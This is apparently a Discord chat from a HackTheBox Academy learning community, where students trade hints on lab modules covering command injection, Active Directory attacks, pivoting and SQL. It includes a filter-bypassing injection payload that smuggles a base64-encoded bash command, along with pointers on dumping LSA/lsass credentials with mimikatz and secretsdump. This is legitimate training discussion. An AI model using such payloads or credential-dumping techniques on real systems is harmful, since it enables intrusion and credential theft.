think dumber, read the Encoded Commands section

[mint lodge]

no shot i jsut need to encode the whole command

im going to cry

[next bronze]

provding the module and section would be helpful

[mint lodge]

well this didnt work either

127.0.0.1%0abash<<<$(base64%09-d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDEK)

[crystal steeple]

ptunnel-ng wont install, any help?

[mint lodge]

you tried giving all of the errors to chatGPT and seeing what it says?

[crystal steeple]

well the errors are understandable ig but idk i will ask him

[mint lodge]

the hint is so useless "Don't forget to bypass any filtered characters
"

[mint lodge]

and somehow after retrying it worked

[fluid basin]

does anyone have experience with this error "Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError"? It has occurred on the Skills Assessment part II of AD-Enumeration and Attacks

[astral inlet]

yes user has no access

via winrm

or credits wrong

":WinRMAuthorizationError"

[fluid basin]

understood. Thank you

[near frigate]

I am having the same issue. Did you figure this out? Do they want the answer to be in a specific format?

[mint lodge]

thanks for the tip btw

[fluid basin]

Skills Assessment part II of AD-Enumeration and Attacks: stuck on the question where passing the hash is necessary. The hash I get with lsadump::lsa /inject is simply not the correct hash, I get no errors when I dump them, they are just uncrackable and dont work. Why is that?

[astral inlet]

anyone in here can help me to find the right script to use for : https://academy.hackthebox.com/module/103/section/1008 ?

nevermind found something

[minor dome]

:👍

[urban wadi]

are the 1/2 tier that hard

or its simpler cuz you know whats about

[astral inlet]

done

[lofty wave]

Linux Local Privilege Escalation - Skills Assessment
Can I get a DM from someone who has gotten the SSH shell on this without using the HTB provided creds?
I've scanned all the things and have one port that's interesting. I just need to know if it's a dead end without giving away possible spoilers.. 🙃

I'm trying to get into the target without the usage of the provided creds. I've used them and gotten into it with multiple flags. Just getting into it this way is bugging me lol

[next bronze]

first make sure the hash is from a domain uesr and not a local user

[mint lodge]

the actual answer was way simpler i overcomplicated things 😅

[urban wadi]

overthinking at its finest lol

[urban wadi]

whos levana btw

[mint lodge]

you scared the living shit out of me i forgot she is in my status

thats my gf 😅

she was like are you telling me to stfu and i had to add that to calm her down xd

[next bronze]

doxxed

[raven lagoon]

what the hell dude 💀

[thorn urchin]

I think the 5 different connected services does it more than the status lul

[mint lodge]

she was joking but i did that to make her happy

[fathom pendant]

That's when you call her a dork and say "alright"

[fluid basin]

Its the local hash, any advice on how to obtain the domain hash?

[rustic sage]

hey

[next bronze]

idk what question its for but try lsass

[minor dome]

xrezous u are very active

and i like ur website

gj

[fluid basin]

Its for the question referring to MS01 on AD enum and attacks skills P2. But yes I will try researching how to attack lsass

Thank you for your advice

[minor dome]

macie and xreous are most active you should be moderator

[next bronze]

dumping lsa should get you the next step, look for a cleartext cred, other than mimikatz you can use secretsdump

or my tool :^)

[next bronze]

ty

[fathom pendant]

How dare you shill your useful tool

[next bronze]

[fluid basin]

Understood, thank you for your help. I’ll give all your suggestions a try. I really want to understand this fully🙏

[crystal steeple]

im stuck on the double pivots section in pivoting module

i followed the section very well but when i tried to mstsc.exe to the second host 172.16.6.155 i get error

i also confirmed that SOCKS listener is started with that netstat command

and configured proxifier 127.0.0.1 port 1080 and socks5

:/

[fathom pendant]

A --> B --> C; foothold, next, final

[crystal steeple]

yep i 1- logged to rdp adn transfered the necessary files ; 2- enabled the Socks.dll ;3- mstsc.exe to 172.16.5.19 and transfer the Socks.exe file to it, opened it to start the socks listener

4- all setup, all left is to configure proxifier which i did

5- mstc.exe from rdp to 172.16.6.155 and failed

[raven lagoon]

brooo ☠️ you are submissive

[mint lodge]

lmao yeah a bit

[minor dome]

a brother down

[mint lodge]

im dead🤣

[crystal steeple]

restarted the lab and worked lol

anyways i thought you were an htb worker marcielee lmao

till emma said no :{

[acoustic owl]

You can recognize HTB employees by the cube icon next to their name

[fathom pendant]

though the moderator shield now overrides the HTB staff icon

[acoustic owl]

That's right. Most of the moderators are volunteers. But there are also employees among them

[astral inlet]

ok that was the most challenging part for me yet lol

[supple coral]

So , for the recent advanced web exploitation pathway. Can we do that independently from having to do the certification? Or would we have to do each module separately ? So, if I'm doing the Pentesting pathway for example could I do the bug bounty pathway modules without having to do the bug boutnty certification exam ?

My assumption is this would all have to be done through seperate modules if we already chose an exam pathway

[fathom pendant]

you're not required to do the exam from the related pathway

you're just required to do the related pathway to be eligible to take the exam

i.e. you can take the CBBH path but not do CBBH

there's also like an 11 module overlap from CBBH and CPTS

[supple coral]

ahh gotchu, thaknks for the clarification. I'm doing the Pentesting one and saw some other cool stuff. Ofc I still need to get my foundations out the way and need to cover IRL obligations 😄

[supple coral]

ty for the quick and to the point response 🙂

[fathom pendant]

considering you still need a voucher to do an exam it'd be silly if after completing a pathway you were blocked from using the site until you did the exam

[bright rune]

Anyone ever have a problem spawning targets? Mine has been sitting on "Target is spawning..." for a long time now. If I refresh, it still does not give me an IP

[fathom pendant]

change vpn regions

[livid pier]

You ever finish?

[sterile bane]

Hii

It best place to time waste!

[fathom pendant]

read #rules and #welcome to figure out how to access more of the server

[wooden palm]

Am I just missing something obvious or is it telling me to ssh and then not letting me ssh?

For the first SQL module

[fathom pendant]

it's telling you to authenticate

not to ssh

authenticate can mean using the service to authenticate

also as a note: that's a public IP and port

😉

also the question "connect to the database using the MySQL client"

[lofty wave]

Yay, fun module. Onto the next one